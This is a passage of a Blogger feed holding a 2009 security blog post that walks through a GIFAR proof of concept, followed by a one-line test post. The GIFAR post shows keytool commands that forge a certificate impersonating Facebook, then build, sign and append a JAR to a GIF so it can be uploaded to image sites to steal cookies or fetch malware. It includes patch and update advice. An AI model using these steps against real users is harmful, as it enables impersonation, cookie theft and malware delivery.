rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-3227216544783289940</id><published>2009-05-07T05:54:00.000-07:00</published><updated>2009-05-07T07:42:10.208-07:00</updated><title type='text'>GIFAR fixed in jdk6u13 [POC with signed Jars]</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_YQCDsDRqeQI/SgLqUs17EpI/AAAAAAAAAAc/FP2fC_fm2z8/s1600-h/certificates.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 257px;" src="http://2.bp.blogspot.com/_YQCDsDRqeQI/SgLqUs17EpI/AAAAAAAAAAc/FP2fC_fm2z8/s400/certificates.jpg" alt="" id="BLOGGER_PHOTO_ID_5333082550115701394" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;Here's a GIFAR &lt;/span&gt;(Applet JARS in hidden in Gif images) &lt;span style="font-size:85%;"&gt;proof of concept with signed applets.&lt;br /&gt;&lt;br /&gt;For those who do not understand how signed applets work, please update your java to latest version (6u13 as of writing this, which is safe from GIFAR).&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.java.com/en/download/index.jsp"&gt;Get java latest version from java.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Also, never accept untrusted java certificates like shown in the above.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What is a signed applet? It is just an applet with RSA certificate to identify the source of the applet. It is also special in sense that it can access system files, commands, network ports etc on client side. While an unsigned applet can just steal your domain specific cookies, signed applets can ftp the whole cookies folder from your machine to an evil site, Or worse, it can download and execute binaries (read keylogger, spambot, virus, backdoors) from the internet.&lt;br /&gt;&lt;br /&gt;Since it is very easy to create a fake certificate and cheap to buy a real one from verisign or thawte, it is always a good idea not to accept any certificates. You might also want to remove installed certificates from your java settings.&lt;br /&gt;&lt;br /&gt;Now to the fun part (Creating a fake certificate to sign a dangerous applet...Muhahahahah!!!)&lt;br /&gt;&lt;br /&gt;It is easy to create and sign applets with fake certificates. Just use the following to create a facebook signature:&lt;blockquote  style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;$ keytool -genkey -keyalg rsa -alias facebook&lt;br /&gt;Enter keystore password:&lt;br /&gt;What is your first and last name?&lt;br /&gt;[Unknown]:  Mark&lt;br /&gt;What is the name of your organizational unit?&lt;br /&gt;[Unknown]:  Zuckerberg&lt;br /&gt;What is the name of your organization?&lt;br /&gt;[Unknown]:  Facebook, Inc.&lt;br /&gt;What is the name of your City or Locality?&lt;br /&gt;[Unknown]:  Dublin&lt;br /&gt;What is the name of your State or Province?&lt;br /&gt;[Unknown]:  Ireland&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;What is the two-letter country code for this unit?&lt;br /&gt;[Unknown]:  IR&lt;br /&gt;Is CN=Mark, OU=Zuckerberg, O="Facebook, Inc.", L=Dublin, ST=Ireland, C=IR correct?&lt;br /&gt;[no]:  yes&lt;br /&gt;&lt;br /&gt;Enter key password for &lt;facebook&gt;&lt;br /&gt;(RETURN if same as keystore password):&lt;br /&gt;&lt;br /&gt;&lt;/facebook&gt;&lt;/span&gt;&lt;/blockquote&gt;After which you can just generate the certificate:&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;$ keytool -export -alias facebook -file Facebook2008RSA.cert&lt;br /&gt;Enter keystore password:&lt;br /&gt;Certificate stored in file &lt;facebook2008rsa.cert&gt;&lt;/facebook2008rsa.cert&gt;&lt;/span&gt;&lt;/blockquote&gt;Now one can write some applet code to in a java file named helloWorld.java, which can access the system for the cookies directory of the browser (::evil::to steal all secrets). Use the below commands to build, pack, sign and attach to GIF file to create a GIFAR.&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;$ javac helloworld.java&lt;br /&gt;&lt;br /&gt;$ jar cvf helloworld.jar helloworld.class&lt;br /&gt;adding: META-INF/ (in=0) (out=0) (stored 0%)&lt;br /&gt;adding: META-INF/MANIFEST.MF (in=56) (out=56) (stored 0%)&lt;br /&gt;adding: helloworld.class (in=2637) (out=1442) (deflated 45%)&lt;br /&gt;Total:&lt;br /&gt;------&lt;br /&gt;(in = 2681) (out = 1826) (deflated 31%)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;$  jarsigner helloworld.jar appsec&lt;br /&gt;Enter Passphrase for keystore:&lt;br /&gt;&lt;br /&gt;Warning:&lt;br /&gt;The signer certificate will expire within six months.&lt;br /&gt;&lt;br /&gt;$ cat media.gif helloworld.jar &gt; gifar.gif&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;Now just upload the GIFAR image and the certificate to any site which will can upload images (say blogger or facebook) and call the applet using archive with image URL; The certificate loads from the origin (where GIFAR is kept, like facebook). It also makes it very likely for someone to accept the certificate to create complete PAWNAGE.&lt;br /&gt;&lt;br /&gt;Notice that the certificate shows port as 8080, while applet is launched from port 8081. Also it supposedly published by facebook, Inc.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_YQCDsDRqeQI/SgLnWfkPBUI/AAAAAAAAAAU/yiXOMUmzLBc/s1600-h/Gifar_screenshot.JPG"&gt;download Image here &lt;/a&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_YQCDsDRqeQI/SgLnWfkPBUI/AAAAAAAAAAU/yiXOMUmzLBc/s400/Gifar_screenshot.JPG" /&gt;&lt;br /&gt;This Gifar vector is fixed on JDK6u13. I'd say enough reasons to update. The latest java version breaks when loading GIFARs from internet which is a good thing. But it still does not says that the applet was being read from a GIFAR jar. Also local applet work from Gifar files.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_YQCDsDRqeQI/SgLyQMBqkuI/AAAAAAAAAAk/NSJrP9cEH9c/s1600-h/ju13.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 157px;" src="http://3.bp.blogspot.com/_YQCDsDRqeQI/SgLyQMBqkuI/AAAAAAAAAAk/NSJrP9cEH9c/s400/ju13.jpg" alt="" id="BLOGGER_PHOTO_ID_5333091268680127202" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-3227216544783289940?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/3227216544783289940/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/05/heres-gifar-proof-of-concept-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/3227216544783289940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/3227216544783289940'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/05/heres-gifar-proof-of-concept-with.html' title='GIFAR fixed in jdk6u13 [POC with signed Jars]'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_YQCDsDRqeQI/SgLqUs17EpI/AAAAAAAAAAc/FP2fC_fm2z8/s72-c/certificates.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-299402845849981080.post-8964554610767381436</id><published>2009-05-07T05:52:00.000-07:00</published><updated>2009-05-07T05:53:04.759-07:00</updated><title type='text'>This is a test</title><content type='html'>My first security post. I'll try and link this blog to a domain.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/299402845849981080-8964554610767381436?l=securityborg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://securityborg.blogspot.com/feeds/8964554610767381436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://securityborg.blogspot.com/2009/05/this-is-test.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/8964554610767381436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/299402845849981080/posts/default/8964554610767381436'/><link rel='alternate' type='text/html' href='http://securityborg.blogspot.com/2009/05/this-is-test.html' title='This is a test'/><author><name>btechcs</name><uri>http://www.blogger.com/profile/17013048902515366122</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://3.bp.blogspot.com/-3Hbok_pjTXM/Tbjww3vl3LI/AAAAAAAAACg/65Xp5tkxycs/s220/passport.jpg'/></author><thr:total>0</thr:total></entry></feed>
